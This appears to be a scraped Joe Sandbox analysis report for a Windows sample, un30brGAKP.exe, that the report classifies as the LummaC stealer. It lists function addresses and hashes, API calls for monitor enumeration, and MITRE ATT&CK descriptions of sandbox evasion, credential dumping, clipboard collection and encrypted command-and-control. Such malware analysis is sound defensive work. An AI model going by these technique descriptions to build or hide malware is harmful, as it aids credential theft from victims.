GetMonitorInfo, xrefs: 00E2E290

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: MetricsSystem$InfoMonitor
String ID: DISPLAY$GetMonitorInfo
API String ID: 4250584380-1633989206
Opcode ID: 07ec64dff30cd18b6c17cfce6296b7eb61efc86e0b9d4cefa3cfc4fdf7bd7a1d
Instruction ID: f6ac2247a8e3d6081b7668cd3a2898d6e9578ddfc91cb088d52dfe5e29fb0d9f
Opcode Fuzzy Hash: 07ec64dff30cd18b6c17cfce6296b7eb61efc86e0b9d4cefa3cfc4fdf7bd7a1d
Instruction Fuzzy Hash: 041106316003259FD720CFA2AC84BA7B7E9EB09312F04942AED49A7340D7B0AC048BA0

Function 00E2E34C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 00E2E3B9
GetSystemMetrics.USER32(00000001), ref: 00E2E3C4

Strings

L, xrefs: 00E2E369, 00E2E376, 00E2E37D
GetMonitorInfoA, xrefs: 00E2E364
DISPLAY, xrefs: 00E2E3E5

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: MetricsSystem
String ID: DISPLAY$GetMonitorInfoA$L
API String ID: 4116985748-370370410
Opcode ID: da9121520889b993fe67eab8211b383fa19d4cb47d4d31d95547e855bcabc269
Instruction ID: 31ed2f78f278f4a7973e7224c3c2df35361252fe19be2a6fd3959517961602c6
Opcode Fuzzy Hash: da9121520889b993fe67eab8211b383fa19d4cb47d4d31d95547e855bcabc269
Instruction Fuzzy Hash: FE11D632600335AFD720DF65AC457A7B7EAEF45311F055529ED55E7340D7B0A804CBA0

Function 00E2E420 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 00E2E48D
GetSystemMetrics.USER32(00000001), ref: 00E2E498

Strings

, xrefs: 00E2E43D, 00E2E44A, 00E2E451
GetMonitorInfoW, xrefs: 00E2E438
DISPLAY, xrefs: 00E2E4B9

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: MetricsSystem
String ID: $DISPLAY$GetMonitorInfoW
API String ID: 4116985748-718405310
Opcode ID: 49156e9bef7c661708e164eed8b87e71d958f012634231bd0ef6eb1677a81ea0
Instruction ID: 3d9083a846db90679ce1dff0fef7502034bf53b526763525870ff303e31d7b06
Opcode Fuzzy Hash: 49156e9bef7c661708e164eed8b87e71d958f012634231bd0ef6eb1677a81ea0
Instruction Fuzzy Hash: 32112931601334AFD760EFA1AC857E7B7E9EF05310F049529ED59A7340D3B0A8008BA0

Function 00E2E4F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

EnumDisplayMonitors.USER32(?,?,?,?), ref: 00E2E52D
GetSystemMetrics.USER32(00000000), ref: 00E2E552
GetSystemMetrics.USER32(00000001), ref: 00E2E55D

Strings

EnumDisplayMonitors, xrefs: 00E2E50C

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: MetricsSystem$DisplayEnumMonitors
String ID: EnumDisplayMonitors
API String ID: 1389147845-2491903729
Opcode ID: 2b44194d17f92b4b0ffc2e7d17e5bee8e8dc571820d625d329e80c90733ebaa9
Instruction ID: d07f859eceb01dba0f411679ec1c711c630c7a3aebb3c2b95df041c1392d9797
Opcode Fuzzy Hash: 2b44194d17f92b4b0ffc2e7d17e5bee8e8dc571820d625d329e80c90733ebaa9
Instruction Fuzzy Hash: B3312D72A40229AFDB11DFA9EC45AEF77BDEB05304F045126F915E3241E734D9008BB0

Function 00E2E1E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 00E2E22E
GetSystemMetrics.USER32(00000001), ref: 00E2E240

Strings

, xrefs: 00E2E1F7, 00E2E204, 00E2E210
MonitorFromPoint, xrefs: 00E2E1F2

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: MetricsSystem
String ID: MonitorFromPoint$
API String ID: 4116985748-1768908143
Opcode ID: 480f7f70ec3d09ca3e839abb8cf9f67137fdc1f0c0ca320f2c9fa301dc910c78
Instruction ID: 59f5b4f8f8c56e74d2761efffd89f23eff72e72de14d7a130155119a102088b5
Opcode Fuzzy Hash: 480f7f70ec3d09ca3e839abb8cf9f67137fdc1f0c0ca320f2c9fa301dc910c78
Instruction Fuzzy Hash: DC01A233200238EFDB044F91ED94BD97B9AEB84364F099424F90AAB361D3719C519B60

Function 00E2E0B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 00E2E109
GetSystemMetrics.USER32(00000001), ref: 00E2E115

Strings

MonitorFromRect, xrefs: 00E2E0CD

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: MetricsSystem
String ID: MonitorFromRect
API String ID: 4116985748-4033241945
Opcode ID: e3ebb499b0febd3ba8aaf47120901cc9cc5f85a4edbea648cbc01ecd402b9631
Instruction ID: 4d6f2b95b9eefd4c133c00264d6d531df617282c8f3390fdd7a14febf865fe8c
Opcode Fuzzy Hash: e3ebb499b0febd3ba8aaf47120901cc9cc5f85a4edbea648cbc01ecd402b9631
Instruction Fuzzy Hash: 690126312001389FEB108F45FCE5B96BBA5E744319F099061E904EB302C370EC608BB1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report un30brGAKP.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
un30brGAKP.exe

Function 00D9062F Relevance: 34.0, APIs: 2, Strings: 17, Instructions: 764
COMMON

Function 00DA0D80 Relevance: 20.5, Strings: 16, Instructions: 531
COMMON

Function 037F1000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Function 00D95050 Relevance: 16.7, APIs: 1, Strings: 8, Instructions: 939
encryptionCOMMON

Function 00D8DDBE Relevance: 12.3, APIs: 1, Strings: 7, Instructions: 303
COMMON

Function 00DB7BA0 Relevance: 7.8, APIs: 2, Strings: 2, Instructions: 756
COMMON

Function 00D8AC50 Relevance: 4.1, Strings: 3, Instructions: 369
COMMON

Function 00F3A208 Relevance: 3.9, Strings: 3, Instructions: 184
COMMON

Function 00D89D30 Relevance: 3.8, Strings: 3, Instructions: 97
COMMON

Function 00E2BBD0 Relevance: 3.8, Strings: 3, Instructions: 78
COMMON

Function 00F4360C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 57
COMMON